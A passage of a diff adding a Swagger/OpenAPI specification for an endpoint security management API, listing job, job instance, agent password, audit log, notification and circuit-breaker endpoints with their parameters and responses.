+            $ref: '#/definitions/NetworkDiscoveryConfig'
+      tags:
+        - configuration
+  /data/Job/:
+    get:
+      description: |-
+        `Job/` endpoints are deprecated. For future development, you should use the new `job/batch` endpoints instead.
+
+        Those endpoints expose more features, and do not split jobs by action.
+        Jobs created by new endpoints (=> and the frontend) can not be accessed using the old endpoints,
+        but jobs created by the old endpoints can be accessed with all endpoints.
+
+        This old endpoint can still be used safely in scripts, its removal is not planned.
+        It should be updated with new job types.
+      operationId: data_Job_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creationtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: title
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: is_scheduled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: endpoint_username
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: instance
+          required: false
+          type: number
+        - in: query
+          name: done
+          required: false
+          type: number
+        - in: query
+          name: waiting
+          required: false
+          type: number
+        - in: query
+          name: running
+          required: false
+          type: number
+        - in: query
+          name: canceled
+          required: false
+          type: number
+        - in: query
+          name: error
+          required: false
+          type: number
+        - in: query
+          name: creator.username
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Job'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Job endpoints
+      tags:
+        - investigation
+    parameters: []
+    post:
+      deprecated: true
+      description: Handle creation of one or more jobs, on agents and/or groups of agents.
+      operationId: data_Job_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/JobCreation'
+      responses:
+        "201":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/JobLight'
+            type: array
+      tags:
+        - investigation
+  /data/Job/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_Job_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creationtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: title
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: is_scheduled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: endpoint_username
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/Job/stats_all/:
+    get:
+      deprecated: true
+      description: Get the state of all jobs instances (success, error, running, ...)
+      operationId: data_Job_stats_all
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creationtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: title
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: is_scheduled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: endpoint_username
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Job'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/Job/{id}/:
+    delete:
+      description: |-
+        `Job/` endpoints are deprecated. For future development, you should use the new `job/batch` endpoints instead.
+
+        Those endpoints expose more features, and do not split jobs by action.
+        Jobs created by new endpoints (=> and the frontend) can not be accessed using the old endpoints,
+        but jobs created by the old endpoints can be accessed with all endpoints.
+
+        This old endpoint can still be used safely in scripts, its removal is not planned.
+        It should be updated with new job types.
+      operationId: data_Job_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      summary: Job endpoints
+      tags:
+        - investigation
+    get:
+      description: |-
+        `Job/` endpoints are deprecated. For future development, you should use the new `job/batch` endpoints instead.
+
+        Those endpoints expose more features, and do not split jobs by action.
+        Jobs created by new endpoints (=> and the frontend) can not be accessed using the old endpoints,
+        but jobs created by the old endpoints can be accessed with all endpoints.
+
+        This old endpoint can still be used safely in scripts, its removal is not planned.
+        It should be updated with new job types.
+      operationId: data_Job_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Job'
+      summary: Job endpoints
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: |-
+        `Job/` endpoints are deprecated. For future development, you should use the new `job/batch` endpoints instead.
+
+        Those endpoints expose more features, and do not split jobs by action.
+        Jobs created by new endpoints (=> and the frontend) can not be accessed using the old endpoints,
+        but jobs created by the old endpoints can be accessed with all endpoints.
+
+        This old endpoint can still be used safely in scripts, its removal is not planned.
+        It should be updated with new job types.
+      operationId: data_Job_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Job'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Job'
+      summary: Job endpoints
+      tags:
+        - investigation
+    put:
+      description: |-
+        `Job/` endpoints are deprecated. For future development, you should use the new `job/batch` endpoints instead.
+
+        Those endpoints expose more features, and do not split jobs by action.
+        Jobs created by new endpoints (=> and the frontend) can not be accessed using the old endpoints,
+        but jobs created by the old endpoints can be accessed with all endpoints.
+
+        This old endpoint can still be used safely in scripts, its removal is not planned.
+        It should be updated with new job types.
+      operationId: data_Job_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Job'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Job'
+      summary: Job endpoints
+      tags:
+        - investigation
+  /data/Job/{id}/cancel/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      deprecated: true
+      description: |-
+        `Job/` endpoints are deprecated. For future development, you should use the new `job/batch` endpoints instead.
+
+        Those endpoints expose more features, and do not split jobs by action.
+        Jobs created by new endpoints (=> and the frontend) can not be accessed using the old endpoints,
+        but jobs created by the old endpoints can be accessed with all endpoints.
+
+        This old endpoint can still be used safely in scripts, its removal is not planned.
+        It should be updated with new job types.
+      operationId: data_Job_cancel
+      parameters: []
+      responses:
+        "200":
+          description: Cancel requested
+        "404":
+          description: No instance to cancel
+      summary: Job endpoints
+      tags:
+        - investigation
+  /data/Job/{id}/logs/:
+    delete:
+      deprecated: true
+      description: |-
+        `Job/` endpoints are deprecated. For future development, you should use the new `job/batch` endpoints instead.
+
+        Those endpoints expose more features, and do not split jobs by action.
+        Jobs created by new endpoints (=> and the frontend) can not be accessed using the old endpoints,
+        but jobs created by the old endpoints can be accessed with all endpoints.
+
+        This old endpoint can still be used safely in scripts, its removal is not planned.
+        It should be updated with new job types.
+      operationId: data_Job_logs
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      summary: Job endpoints
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/Job/{id}/relaunch/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      deprecated: true
+      description: Relaunch jobs that are cancelled or errored out
+      operationId: data_Job_relaunch
+      parameters: []
+      responses:
+        "200":
+          description: Relaunch requested
+        "404":
+          description: No instance to relaunch
+      tags:
+        - investigation
+  /data/Job/{id}/remove/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      deprecated: true
+      description: |-
+        `Job/` endpoints are deprecated. For future development, you should use the new `job/batch` endpoints instead.
+
+        Those endpoints expose more features, and do not split jobs by action.
+        Jobs created by new endpoints (=> and the frontend) can not be accessed using the old endpoints,
+        but jobs created by the old endpoints can be accessed with all endpoints.
+
+        This old endpoint can still be used safely in scripts, its removal is not planned.
+        It should be updated with new job types.
+      operationId: data_Job_remove
+      parameters: []
+      responses:
+        "200":
+          description: Job removed
+        "404":
+          description: No instance to removed
+      summary: Job endpoints
+      tags:
+        - investigation
+  /data/JobInstance/:
+    get:
+      description: ""
+      operationId: data_JobInstance_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: job_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_id
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: action
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creationtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: endtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: duration
+          required: false
+          type: number
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: title
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: creator
+          required: false
+          type: string
+        - in: query
+          name: agent_id
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/JobInstance'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/JobInstance/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_JobInstance_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: job_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_id
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: action
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creationtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: endtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: duration
+          required: false
+          type: number
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/JobInstance/{id}/:
+    delete:
+      description: ""
+      operationId: data_JobInstance_delete
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - investigation
+    get:
+      description: ""
+      operationId: data_JobInstance_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/JobInstance'
+      tags:
+        - investigation
+    parameters:
+      - description: A unique value identifying this job instance.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/JobInstance/{id}/cancel/:
+    parameters:
+      - description: A unique value identifying this job instance.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_JobInstance_cancel
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - investigation
+  /data/JobInstance/{id}/relaunch/:
+    parameters:
+      - description: A unique value identifying this job instance.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Relaunch jobs that are cancelled or errored out
+      operationId: data_JobInstance_relaunch
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - investigation
+  /data/JobInstance/{id}/requestDumpProcess/:
+    parameters:
+      - description: A unique value identifying this job instance.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_JobInstance_requestDumpProcess
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/JobInstance'
+        - in: query
+          name: pid
+          required: true
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - investigation
+  /data/JobInstance/{id}/requestKillProcess/:
+    parameters:
+      - description: A unique value identifying this job instance.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_JobInstance_requestKillProcess
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/JobInstance'
+        - in: query
+          name: pid
+          required: true
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - investigation
+  /data/administration/AgentLog/:
+    get:
+      description: ""
+      operationId: data_administration_AgentLog_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AgentLog'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - administration
+    parameters: []
+  /data/administration/AgentLog/delete_all/:
+    delete:
+      description: ""
+      operationId: data_administration_AgentLog_delete_all
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - administration
+    parameters: []
+  /data/administration/AgentLog/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_administration_AgentLog_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - administration
+    parameters: []
+  /data/administration/AgentLog/{id}/:
+    get:
+      description: ""
+      operationId: data_administration_AgentLog_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentLog'
+      tags:
+        - administration
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/administration/AgentPassword/:
+    get:
+      description: ""
+      operationId: data_administration_AgentPassword_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: preferred
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: total_auth
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: last_auth_date
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AgentPassword'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - administration
+    parameters: []
+    post:
+      description: ""
+      operationId: data_administration_AgentPassword_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentPassword'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentPassword'
+      tags:
+        - administration
+  /data/administration/AgentPassword/{id}/:
+    delete:
+      description: ""
+      operationId: data_administration_AgentPassword_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - administration
+    get:
+      description: ""
+      operationId: data_administration_AgentPassword_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentPassword'
+      tags:
+        - administration
+    parameters:
+      - description: A unique integer value identifying this agent password.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_administration_AgentPassword_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentPasswordUpdate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentPasswordUpdate'
+      tags:
+        - administration
+    put:
+      description: ""
+      operationId: data_administration_AgentPassword_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentPasswordUpdate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentPasswordUpdate'
+      tags:
+        - administration
+  /data/administration/AgentPassword/{id}/reset_usage_count/:
+    parameters:
+      - description: A unique integer value identifying this agent password.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Reset the usage count of the password
+      operationId: data_administration_AgentPassword_reset_usage_count
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - administration
+  /data/administration/AgentPassword/{id}/set_preferred/:
+    parameters:
+      - description: A unique integer value identifying this agent password.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Replace current preferred password
+      operationId: data_administration_AgentPassword_set_preferred
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - administration
+  /data/administration/AuditLog/:
+    get:
+      description: ""
+      operationId: data_administration_AuditLog_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AuditLog'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - administration
+    parameters: []
+  /data/administration/AuditLog/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_administration_AuditLog_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - administration
+    parameters: []
+  /data/administration/AuditLog/{id}/:
+    get:
+      description: ""
+      operationId: data_administration_AuditLog_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AuditLog'
+      tags:
+        - administration
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/administration/AutoNotification/:
+    get:
+      description: ""
+      operationId: data_administration_AutoNotification_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AutoNotification'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - administration
+    parameters: []
+    post:
+      description: ""
+      operationId: data_administration_AutoNotification_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AutoNotification'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/AutoNotification'
+      tags:
+        - administration
+  /data/administration/AutoNotification/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_administration_AutoNotification_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - administration
+    parameters: []
+  /data/administration/AutoNotification/{id}/:
+    delete:
+      description: ""
+      operationId: data_administration_AutoNotification_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - administration
+    get:
+      description: ""
+      operationId: data_administration_AutoNotification_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AutoNotification'
+      tags:
+        - administration
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_administration_AutoNotification_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AutoNotification'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AutoNotification'
+      tags:
+        - administration
+    put:
+      description: ""
+      operationId: data_administration_AutoNotification_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AutoNotification'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AutoNotification'
+      tags:
+        - administration
+  /data/administration/Bundle/:
+    get:
+      description: ""
+      operationId: data_administration_Bundle_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/Bundle'
+            type: array
+      tags:
+        - administration
+    parameters: []
+  /data/administration/Bundle/current/:
+    get:
+      description: ""
+      operationId: data_administration_Bundle_current_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Bundle'
+      tags:
+        - administration
+    parameters: []
+  /data/administration/CircuitBreaker/:
+    get:
+      description: ""
+      operationId: data_administration_CircuitBreaker_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_version
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: agent.hostname
+          required: false
+          type: string
+        - in: query
+          name: agent.id
+          required: false
+          type: string
+        - in: query
+          name: agent.ostype
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/CircuitBreaker'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - administration
+    parameters: []
+  /data/administration/CircuitBreaker/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_administration_CircuitBreaker_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_version
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - administration
+    parameters: []
+  /data/administration/CircuitBreaker/history/:
+    delete:
+      description: ""
+      operationId: data_administration_CircuitBreaker_history_delete
+      parameters:
+        - in: query
+          minLength: 1
+          name: event_id
+          required: false
+          type: string
+        - format: date-time
+          in: query
+          name: before
+          required: false
+          type: string
+        - format: date-time
+          in: query
+          name: after
+          required: false
+          type: string
+      responses: {}
+      tags:
+        - administration
+    get:
+      description: ""
+      operationId: data_administration_CircuitBreaker_history_read
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_version
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: event_id
+          required: false
+          type: string
+        - format: date-time
+          in: query
+          name: before
+          required: false
+          type: string
+        - format: date-time
+          in: query
+          name: after
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/CircuitBreakerStats'
+            type: array
+      tags:
+        - administration
+    parameters: []
+  /data/administration/CircuitBreaker/reset/:
+    parameters: []
+    post:
+      description: Reset the circuit breaker state for the given OS type.
+      operationId: data_administration_CircuitBreaker_reset
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CircuitBreakerReset'
+      responses:
+        "204":
+          description: Circuit breaker reset
+      tags:
+        - administration
+  /data/administration/CircuitBreaker/status/:
+    get:
+      description: ""
+      operationId: data_administration_CircuitBreaker_status_read
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_version
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CircuitBreakerStats'
+      tags:
+        - administration
+    parameters: []
+    patch:
+      description: ""
+      operationId: data_administration_CircuitBreaker_status_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_CircuitBreakerStatsQuery'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CircuitBreakerStats'
